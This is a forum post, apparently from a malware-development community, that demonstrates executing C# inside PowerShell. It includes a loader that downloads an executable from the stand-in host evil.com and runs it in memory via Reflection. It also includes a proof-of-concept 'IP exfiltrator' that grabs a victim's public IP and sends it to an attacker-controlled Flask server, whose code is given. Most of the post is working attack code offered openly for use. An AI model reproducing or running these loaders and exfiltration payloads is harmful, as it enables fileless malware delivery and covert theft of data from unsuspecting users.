Powershell In-File Execution of C# Code

Introduction

Some time ago I watched John Hammond’s video on this topic and thought this would a be cool method to minify and showcase.

Disclaimer: I am a beginner to malware development, C#, and Powershell, I would appreciate criticism.

Explanation

Firstly, we need to understand the most common way of loading C#, via an executable:

  • Fetch executable content and encapsulate in a byte array.

  • Load executable content using [System.Reflection.Assembly]::load() method.

  • Use Reflection to execute our loaded assembly.

The code below follows these steps:

$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)

# Create entrypoint object and call it.

$entry = 
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
   GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')

$entry.Invoke($null)

C# Strings

Instead of compiling and downloading an executable, why don’t we just supply a multiline string with our desired C# code and “load” it like so:

Add-Type @"
using System;
 
public class Payload {
 
    static void Execute() {
        while (true) {
            Console.WriteLine("wow :O");
        }
    }
}
 
"@
 
$pl = New-Object Payload
 
$pl.Execute()

Now I know if you want to structure your code like a good programmer, with multiple files and DLLs, this looks a little bad. The big plus with this method is the fact you don’t need to download or store executable byte-arrays in your script.

Proof of Concept: IP Exfiltrator/Logger

As a simple proof of concept we will by building a basic IP logger, the script grabs the victims IP from https://ipinfo.io/ip and exfiltrates it to our evil URL. :smiling_imp:

The Server

The server I wrote is written using a Python micro-framework known as Flask, you can find the code below:

from flask import Flask, request

app = Flask(__name__)
database = [] # Psuedo database 


@app.route("/")
def index():
    ip = request.args.get("ip")
    print(f"[!] Grabbed IP: {ip}")
    database.append(ip)

    return "status: 200"

# Driver code
if __name__ == "__main__":
    app.run(port = 8080)

The Payload

In all honestly the payload could have been written better, requests could be handled through a single function instead of opening multiple HttpClient instances, but I have to remind myself this is just a PoC. The code is below:

Add-Type @"
using System;
using System.Net.Http; 

public class Payload {
        public static string HandleGrab() {
                using (var client = new HttpClient()) {
                        var ipEp = new Uri("https://ipinfo.io/ip");
                        var res = client.GetAsync(ipEp).Result;

                        return res.Content.ReadAsStringAsync().Result;
                }
        }
 
        public static void Execute() {
                using (var client = new HttpClient()) {
                        var ipAddr = Payload.HandleGrab();

                        // Exfiltration process
                        var endpoint = new Uri($"http://localhost:8080/?ip={ipAddr}");
                        var res = client.GetAsync(endpoint).Result;
                        var resJson = res.Content.ReadAsStringAsync().Result;

                        Console.WriteLine(resJson);
                }
        }
}
"@

$pl = New-Object Payload

$pl.Execute()

If everything runs smoothly you should get a log like so:
Server Screenshot

Fin

Hopefully someone found this at least interesting. :slight_smile:

6 Likes

This looks really interesting, thanks!

1 Like